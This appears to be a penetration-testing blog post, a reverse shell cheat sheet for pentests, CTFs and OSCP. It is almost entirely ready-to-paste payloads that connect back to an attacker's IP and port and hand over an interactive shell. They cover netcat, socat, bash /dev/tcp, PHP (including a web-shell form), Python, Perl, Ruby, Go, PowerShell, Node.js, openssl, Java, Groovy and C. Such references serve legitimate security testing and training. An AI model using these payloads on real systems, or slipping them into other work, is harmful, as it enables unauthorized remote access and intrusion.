Reverse shell cheat sheet
Often after gaining remote code execution, we want to get some interactive access - instead of issuing a single command or interacting with the web shell.
Options are limited to the software installed on the target system unless you can upload your binary.
This post contains a collection of reverse shells using different programs, scripting, or programming languages gathered over time. It might be helpful during penetration tests, CTFs, or courses like OSCP. Most of the examples are simple one-liners - that can be copied and pasted. In case when code is more complex, we can drop a script to the disk. Some examples include both variants - long to increase readability and one-liner to use copy/paste.
Note: change IP
and PORT
to your values.
Table of content:
nc
listen:
nc -nlvp PORT
connect:
nc -e /bin/sh IP PORT
or
nc -c sh IP PORT
OpenBSD Netcat version (without -e
option)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f
socat
listen:
socat tcp-listen:PORT -
connect:
socat exec:/bin/sh tcp:IP:PORT
with PTY:
listen:
socat file:`tty`,raw,echo=0 tcp-listen:PORT
connect:
socat exec:/bin/sh,pty,stderr,setsid,sigint,sane tcp:IP:PORT
ncat
listen:
ncat --allow IP -vnl PORT --ssl
connect:
ncat --exec /bin/sh --ssl IP PORT
sbd
listen:
sbd -lp PORT
connect:
sbd -e /bin/sh HOST PORT
with encryption:
listen:
sbd -l -c on -k ENCRYPTION_PHRASE -p PORT
connect:
sbd -k ENCRYPTION_PHRASE -e /bin/sh HOST PORT
bash
TCP
bash -i >& /dev/tcp/IP/PORT 0>&1
or
bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'
UDP
listen with nc
:
nc -u -lvp PORT
connect:
sh -i >& /dev/udp/IP/PORT 0>&1
php
Simple PHP one liner:
php -r '$sock=fsockopen("IP", PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Full PHP script, with form to specify IP address and port to connect to:
<?php
if (empty($_POST['i']) && empty($_POST['p'])) {
echo "IP address and port not specified!";
}
else
{
$ip = $_POST["i"];
$port = $_POST["p"];
$shell = 'uname -a; w; id; /bin/sh -i';
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$process = null;
$pipes = null;
$errno = "";
$errstr = "";
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
echo "$errstr ($errno)";
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
echo "ERROR: Can't spawn shell";
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(!feof($sock) && !feof($pipes[1])) {
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
$input = fread($pipes[2], $chunk_size);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
?>
<html>
<body>
<form method="post">
<input type="text" name="i" />
<input type="text" name="p" />
<input type="submit" />
</form>
</body>
</html>
Perl
perl -e 'use Socket;$i="IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
execute as python script:
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP", PORT))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
or from the command line with python -c
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP", PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
Ruby
#!/usr/bin/ruby
require 'socket';
c=TCPSocket.new('IP', PORT)
$stdin.reopen(c)
$stdout.reopen(c)
$stderr.reopen(c)
$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }
or as a one-liner:
ruby -rsocket -e'f=TCPSocket.open("IP", PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Go lang
Create file with source code, run and then remove source file:
package main;
import"os/exec";
import"net";
func main() {
c, _ := net.Dial("tcp","IP:PORT");
cmd := exec.Command("/bin/sh");
cmd.Stdin=c;
cmd.Stdout = c;
cmd.Stderr = c;
cmd.Run()
}
save the file, for example as rev.go
, build and run: go run rev.go
Or you can use it as one-liner, use echo
to save source file to /tmp/rev.go
, then build and run, after execution remove file:
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/rev.go && go run /tmp/rev.go && rm /tmp/rev.go
Powershell
$address = 'IP'
$port = 'PORT'
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.RedirectStandardError = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}
or as a one-liner:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP', PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nodejs
create file rev.js
:
var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect(PORT, "IP", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});
or
require("child_process").exec('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')
or
var x = global.process.mainModule.require
x('child_process').exec('nc IP PORT -e /bin/bash')
then run:
nodejs rev.js
as a one-liner:
nodejs -e "require('child_process').exec('nc -e /bin/sh IP PORT')"
without nc
:
nodejs -e "require('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"')"
openssl
listen:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port PORT
connect:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect IP:PORT > /tmp/s; rm /tmp/s
Awk
connect to listener, then close reverse shell entering exit
awk 'BEGIN {s = "/inet/tcp/0/IP/PORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('IP','PORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Java
Linux
import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;
public class Rev {
public static void main(String[] args) {
String host="IP";
int port=PORT;
String cmd="/bin/sh";
try {
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
} catch (Exception e) {}
}
}
Windows
import java.net.Socket;
import java.io.OutputStream;
import java.io.InputStream;
public class Rev {
public static void main(String[] args) {
String host="IP";
int port=PORT;
String cmd="cmd.exe";
try {
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
} catch (Exception e) {}
}
}
Groovy
Linux
String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {p.exitValue();
break;
}
catch (Exception e){}
};
p.destroy();
s.close();
one-liner:
groovy -e 'String host="IP";int port=PORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
or with Thread
:
Thread.start {
String host="IP";
int port=PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();break;
}
catch (Exception e){}
};
p.destroy();
s.close();
}
Windows
String host="IP";
int port=PORT;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}catch (Exception e){}
};
p.destroy();
s.close();
one-liner:
groovy -e 'String host="IP";int port=PORT;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'
C
Source code of rev.c
file:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lportno = PORT;
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh", NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr("IP");
serv_addr.sin_port = htons(lportno);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
dup2(sockfd, 0);
dup2(0, 1);
dup2(0, 2);
execve("/bin/sh", params, environ);
}
Compile and execute:
gcc rev.c -o rev && rev
It is it - I hope you have found one or two ways of spawning reverse shell you didn’t know :)